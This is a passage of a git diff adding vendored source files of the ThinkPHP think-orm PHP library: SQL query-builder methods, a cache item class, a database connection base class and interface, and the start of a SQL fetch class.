$whereStr; + } + + /** + * 表达式查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param array $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseExp(Query $query, string $key, string $exp, Raw $value, string $field, int $bindType): string + { + // 表达式查询 + return '( ' . $key . ' ' . $this->parseRaw($query, $value) . ' )'; + } + + /** + * 表达式查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param array $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseColumn(Query $query, string $key, $exp, array $value, string $field, int $bindType): string + { + // 字段比较查询 + [$op, $field] = $value; + + if (!in_array(trim($op), ['=', '<>', '>', '>=', '<', '<='])) { + throw new Exception('where express error:' . var_export($value, true)); + } + + return '( ' . $key . ' ' . $op . ' ' . $this->parseKey($query, $field, true) . ' )'; + } + + /** + * Null查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseNull(Query $query, string $key, string $exp, $value, $field, int $bindType): string + { + // NULL 查询 + return $key . ' IS ' . $exp; + } + + /** + * 范围查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseBetween(Query $query, string $key, string $exp, $value, $field, int $bindType): string + { + // BETWEEN 查询 + $data = is_array($value) ? $value : explode(',', $value); + + $min = $query->bindValue($data[0], $bindType); + $max = $query->bindValue($data[1], $bindType); + + return $key . ' ' . $exp . ' :' . $min . ' AND :' . $max . ' '; + } + + /** + * Exists查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseExists(Query $query, string $key, string $exp, $value, string $field, int $bindType): string + { + // EXISTS 查询 + if ($value instanceof Closure) { + $value = $this->parseClosure($query, $value, false); + } elseif ($value instanceof Raw) { + $value = $this->parseRaw($query, $value); + } else { + throw new Exception('where express error:' . $value); + } + + return $exp . ' ( ' . $value . ' )'; + } + + /** + * 时间比较查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseTime(Query $query, string $key, string $exp, $value, $field, int $bindType): string + { + return $key . ' ' . substr($exp, 0, 2) . ' ' . $this->parseDateTime($query, $value, $field, $bindType); + } + + /** + * 大小比较查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseCompare(Query $query, string $key, string $exp, $value, $field, int $bindType): string + { + if (is_array($value)) { + throw new Exception('where express error:' . $exp . var_export($value, true)); + } + + // 比较运算 + if ($value instanceof Closure) { + $value = $this->parseClosure($query, $value); + } + + if ('=' == $exp && is_null($value)) { + return $key . ' IS NULL'; + } + + return $key . ' ' . $exp . ' ' . $value; + } + + /** + * 时间范围查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseBetweenTime(Query $query, string $key, string $exp, $value, $field, int $bindType): string + { + if (is_string($value)) { + $value = explode(',', $value); + } + + return $key . ' ' . substr($exp, 0, -4) + . $this->parseDateTime($query, $value[0], $field, $bindType) + . ' AND ' + . $this->parseDateTime($query, $value[1], $field, $bindType); + + } + + /** + * IN查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @param integer $bindType + * @return string + */ + protected function parseIn(Query $query, string $key, string $exp, $value, $field, int $bindType): string + { + // IN 查询 + if ($value instanceof Closure) { + $value = $this->parseClosure($query, $value, false); + } elseif ($value instanceof Raw) { + $value = $this->parseRaw($query, $value); + } else { + $value = array_unique(is_array($value) ? $value : explode(',', $value)); + $array = []; + + foreach ($value as $v) { + $name = $query->bindValue($v, $bindType); + $array[] = ':' . $name; + } + + if (count($array) == 1) { + return $key . ('IN' == $exp ? ' = ' : ' <> ') . $array[0]; + } else { + $zone = implode(',', $array); + $value = empty($zone) ? "''" : $zone; + } + } + + return $key . ' ' . $exp . ' (' . $value . ')'; + } + + /** + * 闭包子查询 + * @access protected + * @param Query $query 查询对象 + * @param \Closure $call + * @param bool $show + * @return string + */ + protected function parseClosure(Query $query, Closure $call, bool $show = true): string + { + $newQuery = $query->newQuery()->removeOption(); + $call($newQuery); + + return $newQuery->buildSql($show); + } + + /** + * 日期时间条件解析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $value + * @param string $key + * @param integer $bindType + * @return string + */ + protected function parseDateTime(Query $query, $value, string $key, int $bindType): string + { + $options = $query->getOptions(); + + // 获取时间字段类型 + if (strpos($key, '.')) { + [$table, $key] = explode('.', $key); + + if (isset($options['alias']) && $pos = array_search($table, $options['alias'])) { + $table = $pos; + } + } else { + $table = $options['table']; + } + + $type = $query->getFieldType($key); + + if ($type) { + if (is_string($value)) { + $value = strtotime($value) ?: $value; + } + + if (is_int($value)) { + if (preg_match('/(datetime|timestamp)/is', $type)) { + // 日期及时间戳类型 + $value = date('Y-m-d H:i:s', $value); + } elseif (preg_match('/(date)/is', $type)) { + // 日期及时间戳类型 + $value = date('Y-m-d', $value); + } + } + } + + $name = $query->bindValue($value, $bindType); + + return ':' . $name; + } + + /** + * limit分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $limit + * @return string + */ + protected function parseLimit(Query $query, string $limit): string + { + return (!empty($limit) && false === strpos($limit, '(')) ? ' LIMIT ' . $limit . ' ' : ''; + } + + /** + * join分析 + * @access protected + * @param Query $query 查询对象 + * @param array $join + * @return string + */ + protected function parseJoin(Query $query, array $join): string + { + $joinStr = ''; + + foreach ($join as $item) { + [$table, $type, $on] = $item; + + if (strpos($on, '=')) { + [$val1, $val2] = explode('=', $on, 2); + + $condition = $this->parseKey($query, $val1) . '=' . $this->parseKey($query, $val2); + } else { + $condition = $on; + } + + $table = $this->parseTable($query, $table); + + $joinStr .= ' ' . $type . ' JOIN ' . $table . ' ON ' . $condition; + } + + return $joinStr; + } + + /** + * order分析 + * @access protected + * @param Query $query 查询对象 + * @param array $order + * @return string + */ + protected function parseOrder(Query $query, array $order): string + { + $array = []; + foreach ($order as $key => $val) { + if ($val instanceof Raw) { + $array[] = $this->parseRaw($query, $val); + } elseif (is_array($val) && preg_match('/^[\w\.]+$/', $key)) { + $array[] = $this->parseOrderField($query, $key, $val); + } elseif ('[rand]' == $val) { + $array[] = $this->parseRand($query); + } elseif (is_string($val)) { + if (is_numeric($key)) { + list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' '); + } else { + $sort = $val; + } + + if (preg_match('/^[\w\.]+$/', $key)) { + $sort = strtoupper($sort); + $sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : ''; + $array[] = $this->parseKey($query, $key, true) . $sort; + } else { + throw new Exception('order express error:' . $key); + } + } + } + + return empty($array) ? '' : ' ORDER BY ' . implode(',', $array); + } + + /** + * 分析Raw对象 + * @access protected + * @param Query $query 查询对象 + * @param Raw $raw Raw对象 + * @return string + */ + protected function parseRaw(Query $query, Raw $raw): string + { + $sql = $raw->getValue(); + $bind = $raw->getBind(); + + if ($bind) { + $query->bindParams($sql, $bind); + } + + return $sql; + } + + /** + * 随机排序 + * @access protected + * @param Query $query 查询对象 + * @return string + */ + protected function parseRand(Query $query): string + { + return ''; + } + + /** + * orderField分析 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param array $val + * @return string + */ + protected function parseOrderField(Query $query, string $key, array $val): string + { + if (isset($val['sort'])) { + $sort = $val['sort']; + unset($val['sort']); + } else { + $sort = ''; + } + + $sort = strtoupper($sort); + $sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : ''; + $bind = $query->getFieldsBindType(); + + foreach ($val as $item) { + $val[] = $this->parseDataBind($query, $key, $item, $bind); + } + + return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort; + } + + /** + * group分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $group + * @return string + */ + protected function parseGroup(Query $query, $group): string + { + if (empty($group)) { + return ''; + } + + if (is_string($group)) { + $group = explode(',', $group); + } + + $val = []; + foreach ($group as $key) { + $val[] = $this->parseKey($query, $key); + } + + return ' GROUP BY ' . implode(',', $val); + } + + /** + * having分析 + * @access protected + * @param Query $query 查询对象 + * @param string $having + * @return string + */ + protected function parseHaving(Query $query, string $having): string + { + return !empty($having) ? ' HAVING ' . $having : ''; + } + + /** + * comment分析 + * @access protected + * @param Query $query 查询对象 + * @param string $comment + * @return string + */ + protected function parseComment(Query $query, string $comment): string + { + if (false !== strpos($comment, '*/')) { + $comment = strstr($comment, '*/', true); + } + + return !empty($comment) ? ' /* ' . $comment . ' */' : ''; + } + + /** + * distinct分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $distinct + * @return string + */ + protected function parseDistinct(Query $query, bool $distinct): string + { + return !empty($distinct) ? ' DISTINCT ' : ''; + } + + /** + * union分析 + * @access protected + * @param Query $query 查询对象 + * @param array $union + * @return string + */ + protected function parseUnion(Query $query, array $union): string + { + if (empty($union)) { + return ''; + } + + $type = $union['type']; + unset($union['type']); + + foreach ($union as $u) { + if ($u instanceof Closure) { + $sql[] = $type . ' ' . $this->parseClosure($query, $u); + } elseif (is_string($u)) { + $sql[] = $type . ' ( ' . $u . ' )'; + } + } + + return ' ' . implode(' ', $sql); + } + + /** + * index分析,可在操作链中指定需要强制使用的索引 + * @access protected + * @param Query $query 查询对象 + * @param mixed $index + * @return string + */ + protected function parseForce(Query $query, $index): string + { + if (empty($index)) { + return ''; + } + + if (is_array($index)) { + $index = join(',', $index); + } + + return sprintf(" FORCE INDEX ( %s ) ", $index); + } + + /** + * 设置锁机制 + * @access protected + * @param Query $query 查询对象 + * @param bool|string $lock + * @return string + */ + protected function parseLock(Query $query, $lock = false): string + { + if (is_bool($lock)) { + return $lock ? ' FOR UPDATE ' : ''; + } + + if (is_string($lock) && !empty($lock)) { + return ' ' . trim($lock) . ' '; + } else { + return ''; + } + } + + /** + * 生成查询SQL + * @access public + * @param Query $query 查询对象 + * @param bool $one 是否仅获取一个记录 + * @return string + */ + public function select(Query $query, bool $one = false): string + { + $options = $query->getOptions(); + + return str_replace( + ['%TABLE%', '%DISTINCT%', '%EXTRA%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'], + [ + $this->parseTable($query, $options['table']), + $this->parseDistinct($query, $options['distinct']), + $this->parseExtra($query, $options['extra']), + $this->parseField($query, $options['field']), + $this->parseJoin($query, $options['join']), + $this->parseWhere($query, $options['where']), + $this->parseGroup($query, $options['group']), + $this->parseHaving($query, $options['having']), + $this->parseOrder($query, $options['order']), + $this->parseLimit($query, $one ? '1' : $options['limit']), + $this->parseUnion($query, $options['union']), + $this->parseLock($query, $options['lock']), + $this->parseComment($query, $options['comment']), + $this->parseForce($query, $options['force']), + ], + $this->selectSql); + } + + /** + * 生成Insert SQL + * @access public + * @param Query $query 查询对象 + * @return string + */ + public function insert(Query $query): string + { + $options = $query->getOptions(); + + // 分析并处理数据 + $data = $this->parseData($query, $options['data']); + if (empty($data)) { + return ''; + } + + $fields = array_keys($data); + $values = array_values($data); + + return str_replace( + ['%INSERT%', '%TABLE%', '%EXTRA%', '%FIELD%', '%DATA%', '%COMMENT%'], + [ + !empty($options['replace']) ? 'REPLACE' : 'INSERT', + $this->parseTable($query, $options['table']), + $this->parseExtra($query, $options['extra']), + implode(' , ', $fields), + implode(' , ', $values), + $this->parseComment($query, $options['comment']), + ], + $this->insertSql); + } + + /** + * 生成insertall SQL + * @access public + * @param Query $query 查询对象 + * @param array $dataSet 数据集 + * @return string + */ + public function insertAll(Query $query, array $dataSet): string + { + $options = $query->getOptions(); + + // 获取绑定信息 + $bind = $query->getFieldsBindType(); + + // 获取合法的字段 + if ('*' == $options['field']) { + $allowFields = array_keys($bind); + } else { + $allowFields = $options['field']; + } + + $fields = []; + $values = []; + + foreach ($dataSet as $k => $data) { + $data = $this->parseData($query, $data, $allowFields, $bind); + + $values[] = 'SELECT ' . implode(',', array_values($data)); + + if (!isset($insertFields)) { + $insertFields = array_keys($data); + } + } + + foreach ($insertFields as $field) { + $fields[] = $this->parseKey($query, $field); + } + + return str_replace( + ['%INSERT%', '%TABLE%', '%EXTRA%', '%FIELD%', '%DATA%', '%COMMENT%'], + [ + !empty($options['replace']) ? 'REPLACE' : 'INSERT', + $this->parseTable($query, $options['table']), + $this->parseExtra($query, $options['extra']), + implode(' , ', $fields), + implode(' UNION ALL ', $values), + $this->parseComment($query, $options['comment']), + ], + $this->insertAllSql); + } + + /** + * 生成slect insert SQL + * @access public + * @param Query $query 查询对象 + * @param array $fields 数据 + * @param string $table 数据表 + * @return string + */ + public function selectInsert(Query $query, array $fields, string $table): string + { + foreach ($fields as &$field) { + $field = $this->parseKey($query, $field, true); + } + + return 'INSERT INTO ' . $this->parseTable($query, $table) . ' (' . implode(',', $fields) . ') ' . $this->select($query); + } + + /** + * 生成update SQL + * @access public + * @param Query $query 查询对象 + * @return string + */ + public function update(Query $query): string + { + $options = $query->getOptions(); + + $data = $this->parseData($query, $options['data']); + + if (empty($data)) { + return ''; + } + + $set = []; + foreach ($data as $key => $val) { + $set[] = $key . ' = ' . $val; + } + + return str_replace( + ['%TABLE%', '%EXTRA%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], + [ + $this->parseTable($query, $options['table']), + $this->parseExtra($query, $options['extra']), + implode(' , ', $set), + $this->parseJoin($query, $options['join']), + $this->parseWhere($query, $options['where']), + $this->parseOrder($query, $options['order']), + $this->parseLimit($query, $options['limit']), + $this->parseLock($query, $options['lock']), + $this->parseComment($query, $options['comment']), + ], + $this->updateSql); + } + + /** + * 生成delete SQL + * @access public + * @param Query $query 查询对象 + * @return string + */ + public function delete(Query $query): string + { + $options = $query->getOptions(); + + return str_replace( + ['%TABLE%', '%EXTRA%', '%USING%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], + [ + $this->parseTable($query, $options['table']), + $this->parseExtra($query, $options['extra']), + !empty($options['using']) ? ' USING ' . $this->parseTable($query, $options['using']) . ' ' : '', + $this->parseJoin($query, $options['join']), + $this->parseWhere($query, $options['where']), + $this->parseOrder($query, $options['order']), + $this->parseLimit($query, $options['limit']), + $this->parseLock($query, $options['lock']), + $this->parseComment($query, $options['comment']), + ], + $this->deleteSql); + } +} diff --git a/vendor/topthink/think-orm/src/db/CacheItem.php b/vendor/topthink/think-orm/src/db/CacheItem.php new file mode 100644 index 0000000..839f384 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/CacheItem.php @@ -0,0 +1,209 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use DateInterval; +use DateTime; +use DateTimeInterface; +use think\db\exception\InvalidArgumentException; + +/** + * CacheItem实现类 + */ +class CacheItem +{ + /** + * 缓存Key + * @var string + */ + protected $key; + + /** + * 缓存内容 + * @var mixed + */ + protected $value; + + /** + * 过期时间 + * @var int|DateTimeInterface + */ + protected $expire; + + /** + * 缓存tag + * @var string + */ + protected $tag; + + /** + * 缓存是否命中 + * @var bool + */ + protected $isHit = false; + + public function __construct(string $key = null) + { + $this->key = $key; + } + + /** + * 为此缓存项设置「键」 + * @access public + * @param string $key + * @return $this + */ + public function setKey(string $key) + { + $this->key = $key; + return $this; + } + + /** + * 返回当前缓存项的「键」 + * @access public + * @return string + */ + public function getKey() + { + return $this->key; + } + + /** + * 返回当前缓存项的有效期 + * @access public + * @return DateTimeInterface|int|null + */ + public function getExpire() + { + if ($this->expire instanceof DateTimeInterface) { + return $this->expire; + } + + return $this->expire ? $this->expire - time() : null; + } + + /** + * 获取缓存Tag + * @access public + * @return string|array + */ + public function getTag() + { + return $this->tag; + } + + /** + * 凭借此缓存项的「键」从缓存系统里面取出缓存项 + * @access public + * @return mixed + */ + public function get() + { + return $this->value; + } + + /** + * 确认缓存项的检查是否命中 + * @access public + * @return bool + */ + public function isHit(): bool + { + return $this->isHit; + } + + /** + * 为此缓存项设置「值」 + * @access public + * @param mixed $value + * @return $this + */ + public function set($value) + { + $this->value = $value; + $this->isHit = true; + return $this; + } + + /** + * 为此缓存项设置所属标签 + * @access public + * @param string|array $tag + * @return $this + */ + public function tag($tag = null) + { + $this->tag = $tag; + return $this; + } + + /** + * 设置缓存项的有效期 + * @access public + * @param mixed $expire + * @return $this + */ + public function expire($expire) + { + if (is_null($expire)) { + $this->expire = null; + } elseif (is_numeric($expire) || $expire instanceof DateInterval) { + $this->expiresAfter($expire); + } elseif ($expire instanceof DateTimeInterface) { + $this->expire = $expire; + } else { + throw new InvalidArgumentException('not support datetime'); + } + + return $this; + } + + /** + * 设置缓存项的准确过期时间点 + * @access public + * @param DateTimeInterface $expiration + * @return $this + */ + public function expiresAt($expiration) + { + if ($expiration instanceof DateTimeInterface) { + $this->expire = $expiration; + } else { + throw new InvalidArgumentException('not support datetime'); + } + + return $this; + } + + /** + * 设置缓存项的过期时间 + * @access public + * @param int|DateInterval $timeInterval + * @return $this + * @throws InvalidArgumentException + */ + public function expiresAfter($timeInterval) + { + if ($timeInterval instanceof DateInterval) { + $this->expire = (int) DateTime::createFromFormat('U', (string) time())->add($timeInterval)->format('U'); + } elseif (is_numeric($timeInterval)) { + $this->expire = $timeInterval + time(); + } else { + throw new InvalidArgumentException('not support datetime'); + } + + return $this; + } + +} diff --git a/vendor/topthink/think-orm/src/db/Connection.php b/vendor/topthink/think-orm/src/db/Connection.php new file mode 100644 index 0000000..cb6a912 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Connection.php @@ -0,0 +1,332 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use Psr\SimpleCache\CacheInterface; +use think\DbManager; + +/** + * 数据库连接基础类 + */ +abstract class Connection implements ConnectionInterface +{ + + /** + * 当前SQL指令 + * @var string + */ + protected $queryStr = ''; + + /** + * 返回或者影响记录数 + * @var int + */ + protected $numRows = 0; + + /** + * 事务指令数 + * @var int + */ + protected $transTimes = 0; + + /** + * 错误信息 + * @var string + */ + protected $error = ''; + + /** + * 数据库连接ID 支持多个连接 + * @var array + */ + protected $links = []; + + /** + * 当前连接ID + * @var object + */ + protected $linkID; + + /** + * 当前读连接ID + * @var object + */ + protected $linkRead; + + /** + * 当前写连接ID + * @var object + */ + protected $linkWrite; + + /** + * 数据表信息 + * @var array + */ + protected $info = []; + + /** + * 查询开始时间 + * @var float + */ + protected $queryStartTime; + + /** + * Builder对象 + * @var Builder + */ + protected $builder; + + /** + * Db对象 + * @var DbManager + */ + protected $db; + + /** + * 是否读取主库 + * @var bool + */ + protected $readMaster = false; + + /** + * 数据库连接参数配置 + * @var array + */ + protected $config = []; + + /** + * 缓存对象 + * @var CacheInterface + */ + protected $cache; + + /** + * 架构函数 读取数据库配置信息 + * @access public + * @param array $config 数据库配置数组 + */ + public function __construct(array $config = []) + { + if (!empty($config)) { + $this->config = array_merge($this->config, $config); + } + + // 创建Builder对象 + $class = $this->getBuilderClass(); + + $this->builder = new $class($this); + } + + /** + * 获取当前的builder实例对象 + * @access public + * @return Builder + */ + public function getBuilder() + { + return $this->builder; + } + + + /** + * 创建查询对象 + */ + public function newQuery() + { + $class = $this->getQueryClass(); + + /** @var BaseQuery $query */ + $query = new $class($this); + + $timeRule = $this->db->getConfig('time_query_rule'); + if (!empty($timeRule)) { + $query->timeRule($timeRule); + } + + return $query; + } + + /** + * 指定表名开始查询 + * @param $table + * @return BaseQuery + */ + public function table($table) + { + return $this->newQuery()->table($table); + } + + /** + * 指定表名开始查询(不带前缀) + * @param $name + * @return BaseQuery + */ + public function name($name) + { + return $this->newQuery()->name($name); + } + + /** + * 设置当前的数据库Db对象 + * @access public + * @param DbManager $db + * @return void + */ + public function setDb(DbManager $db) + { + $this->db = $db; + } + + /** + * 设置当前的缓存对象 + * @access public + * @param CacheInterface $cache + * @return void + */ + public function setCache(CacheInterface $cache) + { + $this->cache = $cache; + } + + /** + * 获取当前的缓存对象 + * @access public + * @return CacheInterface|null + */ + public function getCache() + { + return $this->cache; + } + + /** + * 获取数据库的配置参数 + * @access public + * @param string $config 配置名称 + * @return mixed + */ + public function getConfig(string $config = '') + { + if ('' === $config) { + return $this->config; + } + + return $this->config[$config] ?? null; + } + + /** + * 数据库SQL监控 + * @access protected + * @param string $sql 执行的SQL语句 留空自动获取 + * @param bool $master 主从标记 + * @return void + */ + protected function trigger(string $sql = '', bool $master = false): void + { + $listen = $this->db->getListen(); + + if (!empty($listen)) { + $runtime = number_format((microtime(true) - $this->queryStartTime), 6); + $sql = $sql ?: $this->getLastsql(); + + if (empty($this->config['deploy'])) { + $master = null; + } + + foreach ($listen as $callback) { + if (is_callable($callback)) { + $callback($sql, $runtime, $master); + } + } + } + } + + /** + * 缓存数据 + * @access protected + * @param CacheItem $cacheItem 缓存Item + */ + protected function cacheData(CacheItem $cacheItem) + { + if ($cacheItem->getTag() && method_exists($this->cache, 'tag')) { + $this->cache->tag($cacheItem->getTag())->set($cacheItem->getKey(), $cacheItem->get(), $cacheItem->getExpire()); + } else { + $this->cache->set($cacheItem->getKey(), $cacheItem->get(), $cacheItem->getExpire()); + } + } + + /** + * 分析缓存Key + * @access protected + * @param BaseQuery $query 查询对象 + * @param string $method 查询方法 + * @return string + */ + protected function getCacheKey(BaseQuery $query, string $method = ''): string + { + if (!empty($query->getOptions('key')) && empty($method)) { + $key = 'think:' . $this->getConfig('database') . '.' . $query->getTable() . '|' . $query->getOptions('key'); + } else { + $key = $query->getQueryGuid(); + } + + return $key; + } + + /** + * 分析缓存 + * @access protected + * @param BaseQuery $query 查询对象 + * @param array $cache 缓存信息 + * @param string $method 查询方法 + * @return CacheItem + */ + protected function parseCache(BaseQuery $query, array $cache, string $method = ''): CacheItem + { + [$key, $expire, $tag] = $cache; + + if ($key instanceof CacheItem) { + $cacheItem = $key; + } else { + if (true === $key) { + $key = $this->getCacheKey($query, $method); + } + + $cacheItem = new CacheItem($key); + $cacheItem->expire($expire); + $cacheItem->tag($tag); + } + + return $cacheItem; + } + + /** + * 获取返回或者影响的记录数 + * @access public + * @return integer + */ + public function getNumRows(): int + { + return $this->numRows; + } + + /** + * 析构方法 + * @access public + */ + public function __destruct() + { + // 关闭连接 + $this->close(); + } +} diff --git a/vendor/topthink/think-orm/src/db/ConnectionInterface.php b/vendor/topthink/think-orm/src/db/ConnectionInterface.php new file mode 100644 index 0000000..207a424 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/ConnectionInterface.php @@ -0,0 +1,190 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use Psr\SimpleCache\CacheInterface; +use think\DbManager; + +/** + * Connection interface + */ +interface ConnectionInterface +{ + /** + * 获取当前连接器类对应的Query类 + * @access public + * @return string + */ + public function getQueryClass(): string; + + /** + * 指定表名开始查询 + * @param $table + * @return BaseQuery + */ + public function table($table); + + /** + * 指定表名开始查询(不带前缀) + * @param $name + * @return BaseQuery + */ + public function name($name); + + /** + * 连接数据库方法 + * @access public + * @param array $config 接参数 + * @param integer $linkNum 连接序号 + * @return mixed + */ + public function connect(array $config = [], $linkNum = 0); + + /** + * 设置当前的数据库Db对象 + * @access public + * @param DbManager $db + * @return void + */ + public function setDb(DbManager $db); + + /** + * 设置当前的缓存对象 + * @access public + * @param CacheInterface $cache + * @return void + */ + public function setCache(CacheInterface $cache); + + /** + * 获取数据库的配置参数 + * @access public + * @param string $config 配置名称 + * @return mixed + */ + public function getConfig(string $config = ''); + + /** + * 关闭数据库(或者重新连接) + * @access public + * @return $this + */ + public function close(); + + /** + * 查找单条记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + */ + public function find(BaseQuery $query): array; + + /** + * 查找记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + */ + public function select(BaseQuery $query): array; + + /** + * 插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param boolean $getLastInsID 返回自增主键 + * @return mixed + */ + public function insert(BaseQuery $query, bool $getLastInsID = false); + + /** + * 批量插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param mixed $dataSet 数据集 + * @return integer + */ + public function insertAll(BaseQuery $query, array $dataSet = []): int; + + /** + * 更新记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return integer + */ + public function update(BaseQuery $query): int; + + /** + * 删除记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return int + */ + public function delete(BaseQuery $query): int; + + /** + * 得到某个字段的值 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $field 字段名 + * @param mixed $default 默认值 + * @return mixed + */ + public function value(BaseQuery $query, string $field, $default = null); + + /** + * 得到某个列的数组 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $column 字段名 多个字段用逗号分隔 + * @param string $key 索引 + * @return array + */ + public function column(BaseQuery $query, string $column, string $key = ''): array; + + /** + * 执行数据库事务 + * @access public + * @param callable $callback 数据操作方法回调 + * @return mixed + */ + public function transaction(callable $callback); + + /** + * 启动事务 + * @access public + * @return void + */ + public function startTrans(); + + /** + * 用于非自动提交状态下面的查询提交 + * @access public + * @return void + */ + public function commit(); + + /** + * 事务回滚 + * @access public + * @return void + */ + public function rollback(); + + /** + * 获取最近一次查询的sql语句 + * @access public + * @return string + */ + public function getLastSql(): string; + +} diff --git a/vendor/topthink/think-orm/src/db/Fetch.php b/vendor/topthink/think-orm/src/db/Fetch.php new file mode 100644 index 0000000..16caed2 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Fetch.php @@ -0,0 +1,494 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use think\db\exception\DbException as Exception; +use think\helper\Str; + +/** + * SQL获取类 + */ +class Fetch +{ + /** + * 查询对象 + * @var Query + */ + protected $query; + + /** + * Connection对象 + * @var Connection + */ + protected $connection; + + /** + * Builder对象 + * @var Builder + */ + protected $builder; + + /** + * 创建一个查询SQL获取对象 + * + * @param Query $query 查询对象 + */ + public function __construct(Query $query) + { + $this->query = $query; + $this->connection = $query->getConnection(); + $this->builder = $this->connection->getBuilder(); + } + + /** + * 聚合查询 + * @access protected + * @param string $aggregate 聚合方法 + * @param string $field 字段名 + * @return string + */ + protected function aggregate(string $aggregate, string $field): string + { + $this->query->parseOptions(); + + $field = $aggregate . '(' . $this->builder->parseKey($this->query, $field) . ') AS think_' . strtolower($aggregate); + + return $this->value($field, 0, false); + } + + /** + * 得到某个字段的值 + * @access public + * @param string $field 字段名 + * @param mixed $default 默认值 + * @param bool $one + * @return string + */ + public function value(string $field, $default = null, bool $one = true): string + { + $options = $this->query->parseOptions(); + + if (isset($options['field'])) { + $this->query->removeOption('field'); + } + + $this->query->setOption('field', (array) $field); + + // 生成查询SQL + $sql = $this->builder->select($this->query, $one); + + if (isset($options['field'])) { + $this->query->setOption('field', $options['field']); + } else { + $this->query->removeOption('field'); + } + + return $this->fetch($sql); + } + + /** + * 得到某个列的数组 + * @access public + * @param string $field 字段名 多个字段用逗号分隔 + * @param string $key 索引 + * @return string + */ + public function column(string $field, string $key = ''): string + { + $options = $this->query->parseOptions(); + + if (isset($options['field'])) { + $this->query->removeOption('field'); + } + + if ($key && '*' != $field) { + $field = $key . ',' . $field; + } + + $field = array_map('trim', explode(',', $field)); + + $this->query->setOption('field', $field); + + // 生成查询SQL + $sql = $this->builder->select($this->query); + + if (isset($options['field'])) { + $this->query->setOption('field', $options['field']); + } else { + $this->query->removeOption('field'); + } + + return $this->fetch($sql); + } + + /** + * 插入记录 + * @access public + * @param array $data 数据 + * @return string + */ + public function insert(array $data = []): string + { + $options = $this->query->parseOptions(); + + if (!empty($data)) { + $this->query->setOption('data', $data); + } + + $sql = $this->builder->insert($this->query); + + return $this->fetch($sql); + } + + /** + * 插入记录并获取自增ID + * @access public + * @param array $data 数据 + * @return string + */ + public function insertGetId(array $data = []): string + { + return $this->insert($data); + } + + /** + * 保存数据 自动判断insert或者update + * @access public + * @param array $data 数据 + * @param bool $forceInsert 是否强制insert + * @return string + */ + public function save(array $data = [], bool $forceInsert = false): string + { + if ($forceInsert) { + return $this->insert($data); + } + + $data = array_merge($this->query->getOptions('data') ?: [], $data); + + $this->query->setOption('data', $data); + + if ($this->query->getOptions('where')) { + $isUpdate = true; + } else { + $isUpdate = $this->query->parseUpdateData($data); + } + + return $isUpdate ? $this->update() : $this->insert(); + } + + /** + * 批量插入记录 + * @access public + * @param array $dataSet 数据集 + * @param integer $limit 每次写入数据限制 + * @return string + */ + public function insertAll(array $dataSet = [], int $limit = null): string + { + $options = $this->query->parseOptions(); + + if (empty($dataSet)) { + $dataSet = $options['data']; + } + + if (empty($limit) && !empty($options['limit'])) { + $limit = $options['limit']; + } + + if ($limit) { + $array = array_chunk($dataSet, $limit, true); + $fetchSql = []; + foreach ($array as $item) { + $sql = $this->builder->insertAll($this->query, $item); + $bind = $this->query->getBind(); + + $fetchSql[] = $this->connection->getRealSql($sql, $bind); + } + + return implode(';', $fetchSql); + } + + $sql = $this->builder->insertAll($this->query, $dataSet); + + return $this->fetch($sql); + } + + /** + * 通过Select方式插入记录 + * @access public + * @param array $fields 要插入的数据表字段名 + * @param string $table 要插入的数据表名 + * @return string + */ + public function selectInsert(array $fields, string $table): string + { + $this->query->parseOptions(); + + $sql = $this->builder->selectInsert($this->query, $fields, $table); + + return $this->fetch($sql); + } + + /** + * 更新记录 + * @access 